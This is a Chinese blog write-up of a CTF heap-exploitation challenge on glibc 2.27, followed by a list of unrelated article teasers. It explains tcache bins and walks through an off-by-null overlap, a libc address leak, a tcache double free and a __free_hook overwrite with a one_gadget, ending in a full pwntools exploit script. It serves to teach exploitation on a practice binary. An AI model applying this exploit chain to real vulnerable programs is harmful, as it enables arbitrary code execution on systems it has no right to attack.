常回家看看之tcachebin-attack

news2024/9/23 11:26:54

常回家看看之tcachebin-attack

自从glibc2.26之后出现了新的堆管理机制,及引用了tcachebin机制,tcachebin也是主要分配小堆块的,有40条bin链(0x10 - 0x410)

那么这样的分配有很多和smallbin 和fastbin重叠的部分,及malloc申请之后free掉的小堆块优先进入tcachebin中,这样的分配减小的分配堆时候的开销,而且加速了堆的分配速度,但是由于新引入了tcachebin,那么对它的检查还是没有那么完善,虽然加强了doublefree,检查但是不代表它不存在,举个例子,加入你申请堆块的时候两个堆块指针指向同一个堆块,那么在free的时候就可以实现double free,但是由于tcachebin链表头部有检查,所以可以先放入几个正常的堆块到头部,然后再次把fake chunk链接进去。

这里注意,之前fastbin对加入链表的size位有检查,但是在tcachebin中,我们可以不用考虑那么多,但是要注意一点,一旦申请到了fakechunk,那么这条链子可能大概率用不了了,所以想要后续的使用要申请别的大小的堆块。

这里可以看见当同一大小的chunk,tcachebin放满了7个之后才能free进入相应大小的bin链表里面,比如上图进入了unsortbin链表中,而且申请堆块的时候也是优先从tcachebin链表中拿。

tcachebin出入顺序:先进后出(FILO)跟fastbin一样,而且它们都是单链表也可以叫它们(头插法)拿的时候也是从头拿

这里和unsortbin区分开,unsortbin和它们刚刚好相反,而且unsortbin还是双链表,对应2.29以下的攻击有unsortbin attack,及任意地址写入main_arner+88的位置

例题演示
题目保护情况

64位ida逆向

菜单,有add,free,show三个功能

add函数,申请堆块大小是固定的

注意这里存在off_by_null

free函数,free之后指针清空没有UAF漏洞

show函数用puts打印的

分析

本题申请堆块是固定的,并且是0x100堆块对齐,对于off by null 一般可以考虑overlap-chunk,那么对于本题,libc是2.27的引入了tcachebin进制,所以要先申请free掉7个堆块之后剩下的堆块才会进入相应的链表中。

我们先申请10个堆块

for i in range(10):
    malloc()
​

然后释放前6个(0-5)然后释放最后一个(9)这样做为了防止堆块合并

for i in range(6):
    free(i)
​
free(9)
​

最后再free 6,7,8堆块

for i in range(6,9):
    free(i)
​

那么此时堆块内容是这样的

但是注意,虽然合并了,堆块上有残留的prev size,可以让我们构造出overlap-chunk

然后我们再把堆块申请回来

for i in range(7):
    malloc()
​
#gdb.attach(io)
malloc(0x10,'aaa') #7
malloc(0x10,'aaa') #8
malloc(0x10,'aaa') #9
​

这样做的目的是等会把chunk 8 最后加入tcachebin 链表中,这样下次申请的时候就是第一个,并且此时把chunk 7 加入到unsortbin 链表中,那么就有了libc的地址指向chunk 7

for i in range(6):
    free(i)
​
free(8) # 0 tcache
free(7) # unsort
​

此时申请堆块的同时实现off_by_null 申请大小0xf8堆块

malloc(0xf8) #0
​

申请之前

申请之后

由于之前申请了chunk8导致tcachebin链表少了一个堆块,我们此时把chunk6放入tcachebin中,因为接下来要free chunk9,让chunk9在unsortbin中和堆块8合并。那么此时堆块9就无了,你也可以认为8 和9此时都是8。

free(6)
​
#gdb.attach(io)
free(9)
​

那么此时把chunk 7 申请出来就好了,那么chunk8就在指针头的位置了

for i in range(7): #1-7
    malloc(i)
​
malloc(0x10,'bbbb') #8 over_heap
​

因为申请导致指针变换,及之前的chunk8就是第一次从tcachebin 链表申请出来了chunk 0,现在chunk0正在unsortbin中正在使用,但由于堆块合并导致它加入了unsortbin中,所以show(0)就可以泄露libc地址

puts(0)
​
io.recvuntil("> ")
malloc_hook = u64(io.recv(6).ljust(8,b'\0'))-96-0x10
log.info("malloc hook: " + hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
success("libc_base---->"+hex(libc_base))

那么接下来就有意思了,还记得我说chunk9无了吗,是的它现在是没有了,我们再次申请堆块的时候,由于此时chunk 0 还在unsortbin里面申请的时候就会申请到它,标记下标为chunk9 ,但是此时chunk0 在使用中,所以被申请了两次,但是有两个下标chunk 0 chunk 9

所以free 0 free 9 就会实现double free,但是为了绕过检查我们在tcachebin头部放入一个正常的堆块

malloc(0x10,'cccc') #9 ---->  fake  0
​
free(1)
​
#gdb.attach(io)
free(9)
free(0)

那么此时

好了你可以愉快的申请堆块来修改__free_hook了

malloc(0x10,p64(free_hook))
​
malloc(0x10,'dddd')
malloc(0x10,p64(one_gadget))
​
free(2)

EXP
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = process("../pwn159")
#io = remote('pwn.challenge.ctf.show',28228)
libc = ELF("/home/su/PWN/VIPshow/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
def malloc(size=1,content=""):
        io.sendlineafter("> ","1")
        io.sendlineafter("> ",str(size))
        io.sendlineafter("> ",content)
​
​
def free(index):
        io.sendlineafter("> ","2")
        io.sendlineafter("> ",str(index))
​
​
​
def puts(index):
        io.sendlineafter("> ","3")
        io.sendlineafter("> ",str(index))
​
​
for i in range(10):
    malloc()
​
​
for i in range(6):
    free(i)
​
free(9)
​
for i in range(6,9):
    free(i)
​
​
#gdb.attach(io)
for i in range(7):
    malloc()
​
#gdb.attach(io)
malloc(0x10,'aaa') #7
malloc(0x10,'aaa') #8
malloc(0x10,'aaa') #9
​
​
for i in range(6):
    free(i)
​
free(8) # 0 tach
​
free(7) # unsort
#gdb.attach(io)
malloc(0xf8) #0
​
free(6)
​
#gdb.attach(io)
free(9)
​
for i in range(7): #1-7
    malloc(i)
​
malloc(0x10,'bbbb') #8 over_heap
​
puts(0)
​
io.recvuntil("> ")
malloc_hook = u64(io.recv(6).ljust(8,b'\0'))-96-0x10
log.info("malloc hook: " + hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
success("libc_base---->"+hex(libc_base))
#pause()
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f322
gdb.attach(io)
malloc(0x10,'cccc') #9 ---->  fake  0
​
free(1)
​
#gdb.attach(io)
free(9)
free(0)
​
malloc(0x10,p64(free_hook))
​
malloc(0x10,'dddd')
malloc(0x10,p64(one_gadget))
​
free(2)
​
​
io.interactive()
​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1976651.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用labelme生成mask数据集(亲测可行)

1、下载label.exe文件 链接:github地址 2、安装一下anaconda,百度一下直接安装就行 3、打开labelme.exe文件,直接加载图片,然后编辑多边形,就是mask的位置 4、画好mask了,保存为json文件,记住这…

【课程总结】Day17(中):LSTM及GRU模型简介

前言 在上一章【课程总结】Day17(上):NLP自然语言处理及RNN网络我们初步了解RNN的基本概念和原理。本章内容,我们将继续了解RNN的变种模型,如LSTM和GRU。 RNN发展历史 早期发展 1980年代:RNN 的概念最早由 David Rumelhart 和…

盘点一下这几个月以来的大事记吧~图欧学习资源库更新日志(2022年5月~10月)含资源

大家好,我是TUO图欧君!好久不见~ 这几个月以来我都干了什么呢?到底是因为什么事情拖更呢?咳咳……说来话长……总的来说,更加完善了图欧学习资源库网站,并且升级了三大网盘的内容空间,资源更加…

亚马逊与Temu联动:揭秘差价新玩法

摘要: 最近,跨境电商里有一种新颖的玩法悄然兴起——在亚马逊开店,通过在Temu下单并直接发货给亚马逊客户,从而赚取差价。 这种模式不仅降低了库存压力,还能实现利润最大化。 甚至有些铁子,能在这个制度下…

基于Java+SpringBoot+Vue的母婴商城

基于JavaSpringBootVue的母婴商城 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取项目下载方式🍅 哈喽兄弟们…

day16 Java基础——JavaDoc生成文档

day16 Java基础——JavaDoc生成文档 目录 day16 Java基础——JavaDoc生成文档1. 什么是JavaDoc2. 生成JavaDoc2.1 通过命令行生成JavaDoc2.2 使用IDEA生成JavaDoc 1. 什么是JavaDoc JavaDoc是一种标准的、用于生成Java代码API文档的工具。它通过在Java源代码中特定的注释标签&…

【letcode-c++】242有效的字母异位词与49字母异位词分组

一、242 有效的字母异位词 (1)题目 (2)知识点–哈希 【这一段总结来自于代码随想录的讲解学透哈希表 哈希的优势是可以实现快速查找,它非常适合应用与查找某一个元素是否在一个集合中出现。 哈希有三种实现形式&…

arduino程序-模拟输入(基础知识)

arduino程序-模拟输入(基础知识) 1-28 模拟输入1 - 学用电位器电位器电位器实际应用Arduino如何接电位器 1-29 模拟输入2-analogRead演示效果示例程序:干扰问题AnalogRead() 1-30 模拟输入3-电位器控制LED亮度实验演示…

自定义封装日历组件

自定义日历 工作需要&#xff0c;但现有框架封装的日历无法满足需求&#xff0c;又找不到更好的插件&#xff0c;所以准备自己封装一个。 效果图和说明 一个很简易版的demo日历&#xff0c;本文只提供最基本的功能代码&#xff0c;便于阅读二开。 新建calendar.vue文件 <…

【小技巧】CSS如何实现文字溢出显示省略号

文章目录 文字溢出显示省略号设置伪类实现全称展示 文字溢出显示省略号 在列表项或者导航菜单中&#xff0c;经常会在列表项或导航菜单中&#xff0c;由于空间有限&#xff0c;当文本内容较长时&#xff0c;可以使用省略号显示文本已被截断。 CSS中文字溢出显示省略号&#xf…

TCP通信的实现和项目案例

TCP协议是面向连接的&#xff0c;在通信时客户端与服务器端必须建立连接。在网络通讯中&#xff0c;第一次主动发起通讯的程序被称作客户端&#xff08;Client&#xff09;程序&#xff0c;简称客户端&#xff0c;而在第一次通讯中等待连接的程序被称作服务器端&#xff08;Ser…

npm install 报错 ‘proxy‘ config is set properly. See: ‘npm help config‘

解决 参考链接&#xff1a;npm install 报错 ‘proxy‘ config is set properly. See: ‘npm help config‘-阿里云开发者社区 (aliyun.com)

Linux Ubuntu 20.04 安装DPDK方法指南

系统及DPDK版本 系统&#xff1a;Ubuntu 20.04 DPDK&#xff1a;20.11.10 Pktgen-DPDK&#xff1a;22.04.1 关于DPDK&#xff0c;其实Ubuntu的软件源中就已经包含了最新的Stable版本的DPDK&#xff0c;如果不想自己编译的话&#xff0c;直接 apt install dpdk 也是可以的 安…

python库(17):pkuseg库实现文本分词

1 pkuseg简介 PKUSEG&#xff0c;全称“北京大学语言计算与机器学习研究组开发的分词工具”&#xff0c;它就像一把锋利的瑞士军刀&#xff0c;帮助我们轻松切割文本。 在Python的文本处理领域&#xff0c;有很多分词工具&#xff0c;比如jieba、SnowNLP等。但是&#xff0c;…

iOS多界面传值

iOS多界面传值 文章目录 iOS多界面传值属性传值协议传值Block传值通知传值KVO传值概述使用步骤 总结 属性传值 这个传值方式和他的名字一样&#xff0c;我们主要还是通过属性对值进行一个传递&#xff0c;主要应用场景是前一个页面向后一个页面传值。 首先我们先要设置一个属…

哪里有ai写真软件免费方法?轻松获取写真的5个技巧

想在8月为自己的社交媒体更新个人形象吗&#xff1f;想要为即将到来的秋季增添一抹新意吗&#xff1f; AI写真软件是我们最佳的理想选择&#xff0c;通过简单的操作&#xff0c;我们可以在短时间内获得一张专属于自己的AI头像&#xff0c;让这个夏天的回忆更加生动。 特别是常…

C++进阶:设计模式___适配器模式

前言 在C的基础语法的学习后,更进一步为应用场景多写代码.其中设计模式是有较大应用空间. 引入 原本在写容器中适配器类有关的帖子,发现适配模式需要先了解,于是试着先写篇和适配器模式相关的帖子 理解什么是适配器类,需要知道什么是适配器模式.适配器模式是设计模式的一种.笔…

【论文阅读】PETRv2: A Unified Framework for 3D Perception from Multi-Camera Images

Q: 论文如何解决这个问题&#xff1f; A: 论文通过提出PETRv2框架来解决多相机图像的3D感知问题&#xff0c;具体方法包括以下几个关键点&#xff1a; 时间建模&#xff08;Temporal Modeling&#xff09;&#xff1a; 通过3D坐标对齐&#xff08;3D Coordinates Alignment&…

AI应用开发前景与目标

前景与目标 什么是AIGC AIGC最基本的能力是生成内容&#xff0c;包括文本、图像、视频、代码、3D内容或者几种媒介类型转换组合 形成的“多模态内容”。生成算法、预训练模型、多模态等技术累积融合&#xff0c;以及深度模型方面的 技术创新&#xff0c;共同催生了AIGC的大爆…

一篇文章教你如何在Android上使用QPython高效编程

导语&#xff1a;你是否想在Android设备上体验Python编程的乐趣&#xff1f;QPython是一款强大的Python脚本引擎&#xff0c;让你在手机上也能轻松编写和运行Python代码。本文将带你了解QPython的使用方法&#xff0c;让你随时随地开启编程之旅&#xff01; 一、认识QPython Q…